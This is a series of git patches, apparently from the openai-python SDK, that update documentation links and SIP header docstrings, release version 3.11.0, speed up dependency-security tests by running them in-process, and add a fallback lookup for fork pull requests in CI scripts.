- A [File](https://platform.openai.com/docs/api-reference/files) ID that the
- vector store should use. Useful for tools like `file_search` that can access
+ A [File](https://developers.openai.com/api/reference/resources/files) ID that
+ the vector store should use. Useful for tools like `file_search` that can access
files. For multi-file ingestion, we recommend
- [`file_batches`](https://platform.openai.com/docs/api-reference/vector-stores-file-batches/createBatch)
+ [`file_batches`](https://developers.openai.com/api/reference/resources/vector_stores/subresources/file_batches/methods/create)
to minimize per-vector-store write requests.
"""
diff --git a/src/openai/types/vector_stores/file_create_params.py b/src/openai/types/vector_stores/file_create_params.py
index dccc899785..5836e3aa69 100644
--- a/src/openai/types/vector_stores/file_create_params.py
+++ b/src/openai/types/vector_stores/file_create_params.py
@@ -13,10 +13,10 @@
class FileCreateParams(TypedDict, total=False):
file_id: Required[str]
"""
- A [File](https://platform.openai.com/docs/api-reference/files) ID that the
- vector store should use. Useful for tools like `file_search` that can access
+ A [File](https://developers.openai.com/api/reference/resources/files) ID that
+ the vector store should use. Useful for tools like `file_search` that can access
files. For multi-file ingestion, we recommend
- [`file_batches`](https://platform.openai.com/docs/api-reference/vector-stores-file-batches/createBatch)
+ [`file_batches`](https://developers.openai.com/api/reference/resources/vector_stores/subresources/file_batches/methods/create)
to minimize per-vector-store write requests.
"""
diff --git a/src/openai/types/vector_stores/vector_store_file.py b/src/openai/types/vector_stores/vector_store_file.py
index 1c14d6266d..d3a8ed1d70 100644
--- a/src/openai/types/vector_stores/vector_store_file.py
+++ b/src/openai/types/vector_stores/vector_store_file.py
@@ -56,8 +56,8 @@ class VectorStoreFile(BaseModel):
vector_store_id: str
"""
The ID of the
- [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object)
- that the [File](https://platform.openai.com/docs/api-reference/files) is
+ [vector store](https://developers.openai.com/api/reference/resources/vector_stores)
+ that the [File](https://developers.openai.com/api/reference/resources/files) is
attached to.
"""
diff --git a/src/openai/types/vector_stores/vector_store_file_batch.py b/src/openai/types/vector_stores/vector_store_file_batch.py
index 56c345a2a4..1cdc92b463 100644
--- a/src/openai/types/vector_stores/vector_store_file_batch.py
+++ b/src/openai/types/vector_stores/vector_store_file_batch.py
@@ -50,7 +50,7 @@ class VectorStoreFileBatch(BaseModel):
vector_store_id: str
"""
The ID of the
- [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object)
- that the [File](https://platform.openai.com/docs/api-reference/files) is
+ [vector store](https://developers.openai.com/api/reference/resources/vector_stores)
+ that the [File](https://developers.openai.com/api/reference/resources/files) is
attached to.
"""
diff --git a/src/openai/types/webhooks/live_call_incoming_webhook_event.py b/src/openai/types/webhooks/live_call_incoming_webhook_event.py
index 40514ddff1..1fac6dfd69 100644
--- a/src/openai/types/webhooks/live_call_incoming_webhook_event.py
+++ b/src/openai/types/webhooks/live_call_incoming_webhook_event.py
@@ -29,7 +29,11 @@ class Data(BaseModel):
"""
sip_headers: List[DataSipHeader]
- """Headers from the SIP Invite."""
+ """
+ Headers from the SIP INVITE, excluding SIP authorization headers. Retained
+ names, values, repeated entries, and order are preserved. Treat these values as
+ untrusted call metadata.
+ """
class LiveCallIncomingWebhookEvent(BaseModel):
diff --git a/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py b/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py
index bbbdffd366..6b3526674f 100644
--- a/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py
+++ b/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py
@@ -30,7 +30,11 @@ class Data(BaseModel):
"""
sip_headers: List[DataSipHeader]
- """Headers from the SIP Invite."""
+ """
+ Headers from the SIP INVITE, excluding SIP authorization headers. Retained
+ names, values, repeated entries, and order are preserved. Treat these values as
+ untrusted call metadata.
+ """
class RealtimeCallIncomingWebhookEvent(BaseModel):
diff --git a/tests/api_resources/admin/organization/projects/test_service_accounts.py b/tests/api_resources/admin/organization/projects/test_service_accounts.py
index 4e7bd62e3f..6397f0b8e1 100644
--- a/tests/api_resources/admin/organization/projects/test_service_accounts.py
+++ b/tests/api_resources/admin/organization/projects/test_service_accounts.py
@@ -36,6 +36,7 @@ def test_method_create_with_all_params(self, client: OpenAI) -> None:
project_id="project_id",
name="name",
create_service_account_only=True,
+ expires_in_seconds=1,
)
assert_matches_type(ServiceAccountCreateResponse, service_account, path=["response"])
@@ -294,6 +295,7 @@ async def test_method_create_with_all_params(self, async_client: AsyncOpenAI) ->
project_id="project_id",
name="name",
create_service_account_only=True,
+ expires_in_seconds=1,
)
assert_matches_type(ServiceAccountCreateResponse, service_account, path=["response"])
From 41f0a2317759e8796ccfbde75536bd42e4aca7a2 Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Wed, 9 Sep 2026 15:22:45 +0000
Subject: [PATCH 109/341] release: 3.11.0 (#3829)
Automated Release PR
---
##
[3.11.0](https://github.com/openai/openai-python/compare/v3.10.0...v3.11.0)
(2026-09-09)
### Features
* **api:** Add expiration controls for service account keys
([#3825](https://github.com/openai/openai-python/issues/3825))
([f348ec8](https://github.com/openai/openai-python/commit/f348ec87b934c98889102668913e0a3ae7fc303d))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 7 +++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 11 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 25709d1bee..940f2ca3e1 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.10.0"
+ ".": "3.11.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 3019f0d816..25094f60e8 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,12 @@
# Changelog
+## [3.11.0](https://github.com/openai/openai-python/compare/v3.10.0...v3.11.0) (2026-09-09)
+
+
+### Features
+
+* **api:** Add expiration controls for service account keys ([#3825](https://github.com/openai/openai-python/issues/3825)) ([f348ec8](https://github.com/openai/openai-python/commit/f348ec87b934c98889102668913e0a3ae7fc303d))
+
## [3.10.0](https://github.com/openai/openai-python/compare/v3.9.0...v3.10.0) (2026-09-08)
diff --git a/pyproject.toml b/pyproject.toml
index bc2eb49066..7036b92853 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.10.0"
+version = "3.11.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 4123009e62..00df9f346f 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.10.0" # x-release-please-version
+__version__ = "3.11.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 7493ef2443..376a081dfc 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1524,7 +1524,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.10.0" # x-release-please-version
+version = "3.11.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From 2d4b97cc84d5c3ca051cc2ac2d8a6c9928b4d5f0 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Wed, 9 Sep 2026 18:10:04 +0000
Subject: [PATCH 110/341] test: restore CI test runtime after dependency-policy
regression (#3830)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
## Problem and root cause
Test jobs jumped on August 27 at #3641 (`f3f96317e`), which added the
dependency-security checker and its policy regression matrix. Comparing
adjacent main runs:
| Python 3.14 | Before #3641 | After #3641 | This PR |
| --- | ---: | ---: | ---: |
| Entire test job | 2m24s | 7m00s | **2m41s** |
| Pydantic v2 pytest | 60.48s | 192.88s | **62.75s** |
| Pydantic v1 pytest | 46.60s | 183.24s | **52.60s** |
| Passing tests per v2 run | 9,144 | 11,169 | 11,306 |
[Before
run](https://github.com/openai/openai-python/actions/runs/33028653786) ·
[After
run](https://github.com/openai/openai-python/actions/runs/33090881664) ·
[This
PR](https://github.com/openai/openai-python/actions/runs/34386187641)
The suites account for 269 of the 276 additional seconds. Large-payload
tests were already present while jobs remained around 2m10s; the Steady
migration happened afterward. Setup is not the primary cause.
The current security-floor matrix has 1,760 cases. Each previously
launched a Python checker and up to four Python Git stubs. This process
and compilation overhead repeats under both Pydantic versions in all
three test jobs. A representative local profile spent 85ms of 94ms in
subprocess calls, with little time in the policy algorithm. A
20-iteration harness comparison measured median 180ms per subprocess
case versus 0.9ms in-process.
## Change
Compile the same security checker once per pytest worker and execute
each policy case with fresh globals, its existing file fixtures, and the
same Git stub. Restore patched process state after each execution.
Preserve real subprocess execution for CLI parity cases and the existing
trusted-base, isolation, and workflow integration tests.
All existing policy cases, SDK coverage, Pydantic lanes, Python
versions, large-payload sizes, and production enforcement remain
unchanged. Add slow-test reporting to pytest configuration so future
regressions are visible.
---
pyproject.toml | 2 +-
tests/test_uv_workflows.py | 101 ++++++++++++++++++++++++++++++++++---
2 files changed, 95 insertions(+), 8 deletions(-)
diff --git a/pyproject.toml b/pyproject.toml
index 7036b92853..e0ece9a922 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -140,7 +140,7 @@ path = "scripts/hatch_metadata.py"
[tool.pytest.ini_options]
testpaths = ["tests"]
-addopts = "--tb=short -n auto"
+addopts = "--tb=short -n auto --durations=20"
xfail_strict = true
asyncio_mode = "auto"
asyncio_default_fixture_loop_scope = "session"
diff --git a/tests/test_uv_workflows.py b/tests/test_uv_workflows.py
index 779777dabd..79d95fcb13 100644
--- a/tests/test_uv_workflows.py
+++ b/tests/test_uv_workflows.py
@@ -1,19 +1,25 @@
from __future__ import annotations
+import io
import os
import re
import sys
import json
import shutil
+import traceback
import subprocess
+from types import CodeType
from typing import Any, cast
from pathlib import Path
+from contextlib import redirect_stderr, redirect_stdout
import pytest
from packaging.markers import Marker
from packaging.version import Version
from packaging.requirements import Requirement
+from openai._utils import lru_cache
+
if sys.version_info >= (3, 11):
import tomllib
else:
@@ -1213,6 +1219,12 @@ def security_dependency_floor_program() -> str:
return program
+@lru_cache(maxsize=1)
+def compiled_security_dependency_floor_program() -> CodeType:
+ # Compile once per worker, but execute with fresh globals for every case.
+ return compile(security_dependency_floor_program(), str(ROOT / "scripts/check-dependency-security.py"), "exec")
+
+
@pytest.mark.parametrize(
("variant", "accepted"),
[
@@ -1380,6 +1392,7 @@ def run_security_dependency_floor_check(
base_lock_optional_dependencies: dict[tuple[str, str], dict[str, list[dict[str, object]]]] | None = None,
head_lock_optional_dependencies: dict[tuple[str, str], dict[str, list[dict[str, object]]]] | None = None,
origin: str = "https://github.com/openai/openai-python",
+ run_in_subprocess: bool = False,
) -> subprocess.CompletedProcess[str]:
def project(
requirements: list[str],
@@ -1476,16 +1489,90 @@ def edges(values: list[dict[str, object]]) -> str:
)
fake_git.chmod(0o755)
environment = dict(os.environ, BASE_SHA=sha, PATH=str(tmp_path) + os.pathsep + os.environ["PATH"])
- return subprocess.run(
- [sys.executable, "-c", security_dependency_floor_program()],
- cwd=tmp_path,
- env=environment,
- capture_output=True,
- text=True,
- check=False,
+ if run_in_subprocess:
+ return subprocess.run(
+ [sys.executable, "-c", security_dependency_floor_program()],
+ cwd=tmp_path,
+ env=environment,
+ capture_output=True,
+ text=True,
+ check=False,
+ )
+
+ # The policy matrix used to launch five Python processes per case. Execute
+ # the same checker and Git stub in-process; keep real CLI coverage below.
+ git_program = compile(fake_git.read_text(), str(fake_git), "exec")
+
+ def run_git(args: list[str], **_kwargs: Any) -> subprocess.CompletedProcess[str]:
+ assert args[0] == "git", "Unexpected subprocess in dependency security checker"
+ output = io.StringIO()
+ with pytest.MonkeyPatch.context() as patch, redirect_stdout(output):
+ patch.setattr(sys, "argv", args)
+ exec(git_program, {"__name__": "__main__"})
+ return subprocess.CompletedProcess(args, 0, output.getvalue(), "")
+
+ stdout, stderr = io.StringIO(), io.StringIO()
+ returncode = 0
+ with pytest.MonkeyPatch.context() as patch, redirect_stdout(stdout), redirect_stderr(stderr):
+ patch.chdir(tmp_path)
+ patch.setenv("BASE_SHA", sha)
+ patch.setattr(subprocess, "run", run_git)
+ if sys.version_info < (3, 11):
+ # The compatibility prelude writes this alias into sys.modules.
+ # Register it with MonkeyPatch so it cannot leak into later tests.
+ patch.setitem(sys.modules, "tomllib", tomllib)
+ try:
+ exec(compiled_security_dependency_floor_program(), {"__name__": "__main__"})
+ except SystemExit as error:
+ if isinstance(error.code, int):
+ returncode = error.code
+ elif error.code is not None:
+ returncode = 1
+ print(error.code, file=stderr)
+ except AssertionError:
+ raise
+ except Exception:
+ returncode = 1
+ traceback.print_exc(file=stderr)
+ return subprocess.CompletedProcess(
+ [sys.executable, "-c", ""], returncode, stdout.getvalue(), stderr.getvalue()
)
+@pytest.mark.parametrize(
+ ("minimum", "sha", "origin", "accepted"),
+ [
+ ("danger>=2", "a" * 40, "https://github.com/openai/openai-python", True),
+ ("danger>=1", "a" * 40, "https://github.com/openai/openai-python", False),
+ ("danger>=2", "invalid", "https://github.com/openai/openai-python", False),
+ ("danger>=2", "a" * 40, "https://example.test/foreign.git", False),
+ ],
+)
+def test_security_policy_in_process_matches_cli(
+ tmp_path: Path, monkeypatch: pytest.MonkeyPatch, minimum: str, sha: str, origin: str, accepted: bool
+) -> None:
+ if sys.version_info < (3, 11):
+ monkeypatch.delitem(sys.modules, "tomllib", raising=False)
+ original_tomllib = sys.modules.get("tomllib")
+ results = [
+ run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["danger>=1"],
+ head_requirements=[minimum],
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ sha=sha,
+ origin=origin,
+ run_in_subprocess=isolated,
+ )
+ for isolated in (True, False)
+ ]
+ assert results[0].returncode == results[1].returncode == (0 if accepted else 1)
+ assert results[0].stdout == results[1].stdout
+ assert results[0].stderr == results[1].stderr
+ assert sys.modules.get("tomllib") is original_tomllib
+
+
@pytest.mark.parametrize(
("base", "head", "before", "after", "optional", "accepted"),
[
From 397ea08d8cf151039c069c1173f5de57cff5c081 Mon Sep 17 00:00:00 2001
From: Marcus Wood
Date: Wed, 9 Sep 2026 23:48:38 +0000
Subject: [PATCH 111/341] ci: resolve fork PRs missing Castiron run
associations (#3831)
## Summary
Fork PRs #3760 and #3345 have green Python CI but no required Castiron
budget statuses: both the workflow-run association and commit-to-PR
endpoint return no PRs. The trusted evaluator fails with `source run
must identify exactly one current PR targeting main`, and the publisher
returns without posting statuses.
Fall back to listing open PRs by the source run's fork owner and branch,
then retain the existing exact-head, target, freshness, and ambiguity
checks. Apply the fallback to report computation, budget evaluation, and
publication; update the reporter integrity digest.
## Validation
- Regression tests reproduce the evaluator failure and missing statuses
on unpatched main.
- Patched read-only lookup resolves the exact current heads of both
affected PRs.
- Castiron reporter/budget suite: 53 tests, OK (1 optional
compiler-contract test skipped), including the JavaScript publishers,
pagination, stale heads, wrong targets, and ambiguous matches.
- Ruff, Pyright, and mypy for `scripts/castiron`.
The trusted handler runs from main. After this fix merges, rerun the
Castiron custom-code workflows for #3760 and #3345 to publish their
required statuses.
---
.../castiron-custom-code-comment.yml | 10 ++-
.github/workflows/castiron-custom-code.yml | 2 +-
scripts/castiron/custom_code_budget.py | 4 +-
scripts/castiron/custom_code_report.py | 27 ++++++--
scripts/castiron/test_custom_code_budget.py | 40 +++++++++--
scripts/castiron/test_custom_code_report.py | 67 ++++++++++++++++---
6 files changed, 126 insertions(+), 24 deletions(-)
diff --git a/.github/workflows/castiron-custom-code-comment.yml b/.github/workflows/castiron-custom-code-comment.yml
index 793cc884d8..c908e2871c 100644
--- a/.github/workflows/castiron-custom-code-comment.yml
+++ b/.github/workflows/castiron-custom-code-comment.yml
@@ -145,8 +145,11 @@ jobs:
const {data: main} = await github.rest.git.getRef({...context.repo, ref: 'heads/main'});
const base = main.object.sha;
if (run.event === 'pull_request') {
- const pulls = run.pull_requests.length ? run.pull_requests : await github.paginate(
+ let pulls = run.pull_requests.length ? run.pull_requests : await github.paginate(
github.rest.repos.listPullRequestsAssociatedWithCommit, {...context.repo, commit_sha: head});
+ if (!pulls.length) pulls = await github.paginate(github.rest.pulls.list, {
+ ...context.repo, state: 'open', head: `${run.head_repository.owner.login}:${run.head_branch}`,
+ });
const current = [];
for (const pull of pulls) {
const {data: pr} = await github.rest.pulls.get({...context.repo, pull_number: pull.number});
@@ -222,7 +225,10 @@ jobs:
const marker = '';
const run = context.payload.workflow_run;
if (run.event !== 'pull_request' || run.path !== '.github/workflows/castiron-custom-code.yml') return;
- const pulls = run.pull_requests?.length ? run.pull_requests : await github.paginate(github.rest.repos.listPullRequestsAssociatedWithCommit, {...context.repo, commit_sha: run.head_sha});
+ let pulls = run.pull_requests?.length ? run.pull_requests : await github.paginate(github.rest.repos.listPullRequestsAssociatedWithCommit, {...context.repo, commit_sha: run.head_sha});
+ if (!pulls.length) pulls = await github.paginate(github.rest.pulls.list, {
+ ...context.repo, state: 'open', head: `${run.head_repository.owner.login}:${run.head_branch}`,
+ });
for (const pull of pulls) {
const {data: current} = await github.rest.pulls.get({...context.repo, pull_number: pull.number});
if (current.state !== 'open' || current.head.sha !== run.head_sha) continue;
diff --git a/.github/workflows/castiron-custom-code.yml b/.github/workflows/castiron-custom-code.yml
index ccc25a623d..e9737a9eaa 100644
--- a/.github/workflows/castiron-custom-code.yml
+++ b/.github/workflows/castiron-custom-code.yml
@@ -16,7 +16,7 @@ concurrency:
cancel-in-progress: false
env:
- REPORTER_SHA256: ac48ca88e9f7ad57195038157e99f055c0cd3dac8de856e4d102dca807766d4a
+ REPORTER_SHA256: be56ac91a1fc757d5d842586ae364354f11e8f0ec4cc458c06af1d7bd54a12cf
jobs:
queue-signal:
diff --git a/scripts/castiron/custom_code_budget.py b/scripts/castiron/custom_code_budget.py
index e131d9a5a3..3212e5253d 100644
--- a/scripts/castiron/custom_code_budget.py
+++ b/scripts/castiron/custom_code_budget.py
@@ -300,9 +300,7 @@ def github_evaluate(
raise ValueError("unexpected or superseded source workflow run")
head = report.require_sha(run["head_sha"])
if run["event"] == "pull_request":
- associated = run["pull_requests"] or report.api(
- "GET", f"{root}/commits/{head}/pulls?per_page=100"
- )
+ associated = report.associated_pulls(repository, run)
current: list[int] = []
for number in sorted({int(pr["number"]) for pr in associated}):
if number <= 0:
diff --git a/scripts/castiron/custom_code_report.py b/scripts/castiron/custom_code_report.py
index 3e6ed19e89..d78e05f67a 100644
--- a/scripts/castiron/custom_code_report.py
+++ b/scripts/castiron/custom_code_report.py
@@ -25,6 +25,7 @@
from dataclasses import dataclass
from pathlib import Path
from typing import Any, cast
+from urllib.parse import urlencode
DOMAIN = b"castiron-codegen-v1\0"
MARKER = ""
@@ -766,6 +767,25 @@ def api(method: str, path: str, payload: dict[str, Any] | None = None) -> Any:
return json.loads(result.stdout)
+def associated_pulls(repository: str, run: dict[str, Any]) -> list[dict[str, Any]]:
+ root = f"repos/{repository}"
+ associated = run["pull_requests"] or api(
+ "GET", f"{root}/commits/{require_sha(run['head_sha'])}/pulls?per_page=100"
+ )
+ if associated:
+ return cast(list[dict[str, Any]], associated)
+ # Fork runs can be absent from both association endpoints. Discover candidates
+ # by branch; callers still verify the current PR head and target through GitHub.
+ head = f"{run['head_repository']['owner']['login']}:{run['head_branch']}"
+ for page in range(1, 101):
+ query = urlencode({"state": "open", "head": head, "per_page": 100, "page": page})
+ pulls = api("GET", f"{root}/pulls?{query}")
+ associated.extend(pulls)
+ if len(pulls) < 100:
+ return cast(list[dict[str, Any]], associated)
+ raise ReportError("too many pull requests for source branch")
+
+
def publish_comment(
report: dict[str, Any],
repository: str,
@@ -793,10 +813,7 @@ def publish_comment(
or run["head_sha"] != report["head_sha"]
):
raise ReportError("workflow run does not match report PR/head")
- associated = run["pull_requests"]
- if not associated:
- # GitHub can omit the PR association on workflow runs from forks.
- associated = api("GET", f"{root}/commits/{require_sha(run['head_sha'])}/pulls?per_page=100")
+ associated = associated_pulls(repository, run)
if not any(pr["number"] == number for pr in associated):
raise ReportError("workflow run does not match report PR/head")
if run["run_attempt"] != run_attempt:
@@ -892,7 +909,7 @@ def trusted_report(
if run["run_attempt"] != run_attempt:
return
head = require_sha(run["head_sha"])
- associated = run["pull_requests"] or api("GET", f"{root}/commits/{head}/pulls?per_page=100")
+ associated = associated_pulls(repository, run)
current: list[tuple[int, str]] = []
for number in sorted({int(pr["number"]) for pr in associated}):
if number <= 0:
diff --git a/scripts/castiron/test_custom_code_budget.py b/scripts/castiron/test_custom_code_budget.py
index a2d01b8c26..9e9516f408 100644
--- a/scripts/castiron/test_custom_code_budget.py
+++ b/scripts/castiron/test_custom_code_budget.py
@@ -22,6 +22,7 @@ def source_run(head: str, event: str = "pull_request") -> dict[str, Any]:
"head_sha": head,
"head_branch": "gh-readonly-queue/main/pr-7-example" if event == "merge_group" else "sdk",
"repository": {"full_name": "openai/example"},
+ "head_repository": {"owner": {"login": "contributor"}},
"path": ".github/workflows/castiron-custom-code.yml",
"status": "completed",
"run_attempt": 1,
@@ -309,6 +310,7 @@ def publish(
base_changed: bool = False,
no_result: bool = False,
failed_budget: bool = False,
+ fallback_pulls: list[dict[str, int]] | None = None,
run_overrides: dict[str, Any] | None = None,
) -> list[dict[str, Any]]:
path = (
@@ -321,6 +323,7 @@ def publish(
base, head = "a" * 40, "b" * 40
payload = {
"script": script,
+ "fallback_pulls": fallback_pulls,
"context": {
"eventName": "workflow_run",
"repo": {"owner": "openai", "repo": "example"},
@@ -352,10 +355,16 @@ def publish(
const data = JSON.parse(fs.readFileSync(0, 'utf8'));
const published = [];
const github = {rest: {
- pulls: {get: async () => ({data: data.current})},
+ pulls: {get: async () => ({data: data.current}), list: 'pulls.list'},
actions: {getWorkflowRun: async () => ({data: data.run})},
git: {getRef: async () => ({data: {object: {sha: data.current.base.sha}}})},
- repos: {createCommitStatus: async value => published.push(value)},
+ repos: {createCommitStatus: async value => published.push(value),
+ listPullRequestsAssociatedWithCommit: 'commits.pulls'},
+ }, paginate: async (method, params) => {
+ if (method === 'commits.pulls') return [];
+ if (method !== 'pulls.list' || params.head !== 'contributor:sdk' || params.state !== 'open')
+ throw new Error('Unexpected fallback lookup');
+ return data.fallback_pulls;
}};
const AsyncFunction = Object.getPrototypeOf(async function(){}).constructor;
new AsyncFunction('github','context','process', data.script)(github, data.context, {env:data.env})
@@ -380,6 +389,23 @@ def test_statuses_attach_to_candidate_not_main(self) -> None:
all(r["sha"] == "b" * 40 and r["state"] == "success" for r in results)
)
+ def test_fork_statuses_with_no_commit_association(self) -> None:
+ options: dict[str, Any] = {"run_overrides": {"pull_requests": []}, "fallback_pulls": [{"number": 3}]}
+ results = self.publish(**options)
+ self.assertEqual(len(results), 2)
+ self.assertTrue(all(r["sha"] == "b" * 40 and r["state"] == "success" for r in results))
+ self.assertEqual(self.publish(**options, head_changed=True), [])
+ self.assertTrue(
+ all(r["state"] == "failure" for r in self.publish(**options, no_result=True))
+ )
+ self.assertEqual(self.publish(run_overrides={"pull_requests": []}, fallback_pulls=[]), [])
+ self.assertEqual(
+ self.publish(
+ run_overrides={"pull_requests": []}, fallback_pulls=[{"number": 3}, {"number": 4}]
+ ),
+ [],
+ )
+
def test_stale_pr_head_is_not_published(self) -> None:
self.assertEqual(self.publish(head_changed=True), [])
@@ -568,10 +594,12 @@ def test_github_uses_fresh_bare_data_repo_and_checks_current_head(self) -> None:
"head": {"sha": head},
"base": {"sha": base, "ref": "main", "repo": {"full_name": "openai/example"}},
}
- responses = [
+ responses: list[Any] = [
{"default_branch": "main", "private": False},
{"object": {"sha": base}},
- source_run(head),
+ {**source_run(head), "pull_requests": []},
+ [],
+ [{"number": 3}],
pull,
[{"type": "merge_queue"}],
]
@@ -622,7 +650,9 @@ def test_stale_pull_and_wrong_target_fail_before_objects_created(self) -> None:
side_effect=[
{"default_branch": "main"},
{"object": {"sha": base}},
- source_run(head),
+ {**source_run(head), "pull_requests": []},
+ [],
+ [{"number": 3}],
pull,
],
):
diff --git a/scripts/castiron/test_custom_code_report.py b/scripts/castiron/test_custom_code_report.py
index cc3663034f..ab53d1f3b0 100644
--- a/scripts/castiron/test_custom_code_report.py
+++ b/scripts/castiron/test_custom_code_report.py
@@ -283,14 +283,17 @@ def test_trusted_failure_publisher_updates_one_current_comment(self) -> None:
harness = r"""
const assert = require('node:assert/strict');
const AsyncFunction = Object.getPrototypeOf(async function(){}).constructor;
-async function check(stale, exists, priorRun, expected) {
+async function check(stale, exists, priorRun, expected, missing = false) {
const writes = [];
const event = {id: 20, run_attempt: 1, event: 'pull_request', path: '.github/workflows/castiron-custom-code.yml', head_sha: 'a'.repeat(40), pull_requests: [{number: 1}]};
+ if (missing) Object.assign(event, {pull_requests: [], head_repository: {owner: {login: 'contributor'}}, head_branch: 'sdk'});
const current = {state: 'open', head: {sha: (stale ? 'c' : 'a').repeat(40)}};
const previous = {id: 42, user: {type: 'Bot', login: 'github-actions[bot]'},
body: `\n`};
- const github = {paginate: async () => exists ? [previous] : [], rest: {
- pulls: {get: async () => ({data: current})},
+ const github = {paginate: async method => method === 'associations' ? []
+ : method === 'pulls' ? [{number: 1}] : exists ? [previous] : [], rest: {
+ repos: {listPullRequestsAssociatedWithCommit: 'associations'},
+ pulls: {get: async () => ({data: current}), list: 'pulls'},
issues: {listComments() {}, updateComment: async x => writes.push(['update', x]),
createComment: async x => writes.push(['create', x])}}};
const context = {payload: {workflow_run: event}, repo: {owner: 'openai', repo: 'example'},
@@ -308,6 +311,8 @@ def test_trusted_failure_publisher_updates_one_current_comment(self) -> None:
await check(false, false, 10, 'create');
await check(true, true, 10, null);
await check(false, true, 21, null);
+ await check(false, true, 10, 'update', true);
+ await check(true, true, 10, null, true);
})().catch(error => { console.error(error); process.exitCode = 1; });
"""
subprocess.run(
@@ -450,7 +455,12 @@ def local_git(repo: Path, *args: str, input_bytes: bytes | None = None) -> bytes
self.assertNotIn("checkout", args)
return real_git(repo, *args, input_bytes=input_bytes)
- for label, revision in (("genuine", base), ("custom", head), ("broken", broken)):
+ for label, revision in (
+ ("genuine", base),
+ ("custom", head),
+ ("fork", head),
+ ("broken", broken),
+ ):
with self.subTest(label=label):
calls: list[tuple[str, str]] = []
bodies: list[str] = []
@@ -466,6 +476,8 @@ def local_git(repo: Path, *args: str, input_bytes: bytes | None = None) -> bytes
"head_sha": revision,
"run_attempt": 1,
"pull_requests": [],
+ "head_repository": {"owner": {"login": "contributor"}},
+ "head_branch": "fix/branch",
}
forged: dict[str, Any] = {**legitimate, "head_sha": revision, "files": []}
self.assertIn("Generated baselines verified", report.render_report(forged))
@@ -481,7 +493,10 @@ def fake_api(
responses: dict[str, Any] = {
"repos/openai/example": {"private": False},
"repos/openai/example/actions/runs/2": run,
- f"repos/openai/example/commits/{revision}/pulls?per_page=100": [
+ f"repos/openai/example/commits/{revision}/pulls?per_page=100": (
+ [] if label == "fork" else [{"number": 1}]
+ ),
+ "repos/openai/example/pulls?state=open&head=contributor%3Afix%2Fbranch&per_page=100&page=1": [
{"number": 1}
],
"repos/openai/example/pulls/1": pull,
@@ -529,7 +544,7 @@ def fake_api(
if label == "broken":
self.assertIn("Report unavailable", body)
self.assertNotIn("Generated baselines verified", body)
- elif label == "custom":
+ elif label in ("custom", "fork"):
self.assertIn("1 newly customized", body)
self.assertIn("generated.py", body)
self.assertIn(b"+# custom", (out / "custom-code.patch").read_bytes())
@@ -539,6 +554,24 @@ def fake_api(
self.assertIn("Generated baselines verified", body)
self.assertIn("--name castiron-custom-code-9-3", body)
+ def test_fork_association_fallback_paginates_candidates(self) -> None:
+ run: dict[str, Any] = {
+ "head_sha": "a" * 40,
+ "pull_requests": [],
+ "head_repository": {"owner": {"login": "contributor"}},
+ "head_branch": "fix/branch&other=value",
+ }
+ first = [{"number": number} for number in range(1, 101)]
+ with mock.patch.object(report, "api", side_effect=[[], first, [{"number": 101}]]) as api:
+ self.assertEqual(len(report.associated_pulls("openai/example", run)), 101)
+ self.assertEqual(
+ api.call_args.args,
+ (
+ "GET",
+ "repos/openai/example/pulls?state=open&head=contributor%3Afix%2Fbranch%26other%3Dvalue&per_page=100&page=2",
+ ),
+ )
+
def test_trusted_report_rejects_invalid_or_stale_association_before_fetch(self) -> None:
run = {
"event": "pull_request",
@@ -547,6 +580,8 @@ def test_trusted_report_rejects_invalid_or_stale_association_before_fetch(self)
"head_sha": "a" * 40,
"run_attempt": 1,
"pull_requests": [{"number": 1}],
+ "head_repository": {"owner": {"login": "contributor"}},
+ "head_branch": "fix/branch",
}
pull = {
"state": "open",
@@ -563,7 +598,21 @@ def test_trusted_report_rejects_invalid_or_stale_association_before_fetch(self)
[run, {**pull, "base": {"sha": "b" * 40, "repo": {"full_name": "other/repo"}}}],
False,
),
- ([{**run, "pull_requests": []}, []], False),
+ ([{**run, "pull_requests": []}, [], []], False),
+ (
+ [{**run, "pull_requests": []}, [], [{"number": 1}], {**pull, "state": "closed"}],
+ False,
+ ),
+ (
+ [
+ {**run, "pull_requests": []},
+ [],
+ [{"number": 1}],
+ {**pull, "head": {"sha": "c" * 40}},
+ ],
+ False,
+ ),
+ ([{**run, "pull_requests": []}, [], [{"number": 1}, {"number": 2}], pull, pull], True),
([{**run, "pull_requests": [{"number": 1}, {"number": 2}]}, pull, pull], True),
]
for responses, raises in cases:
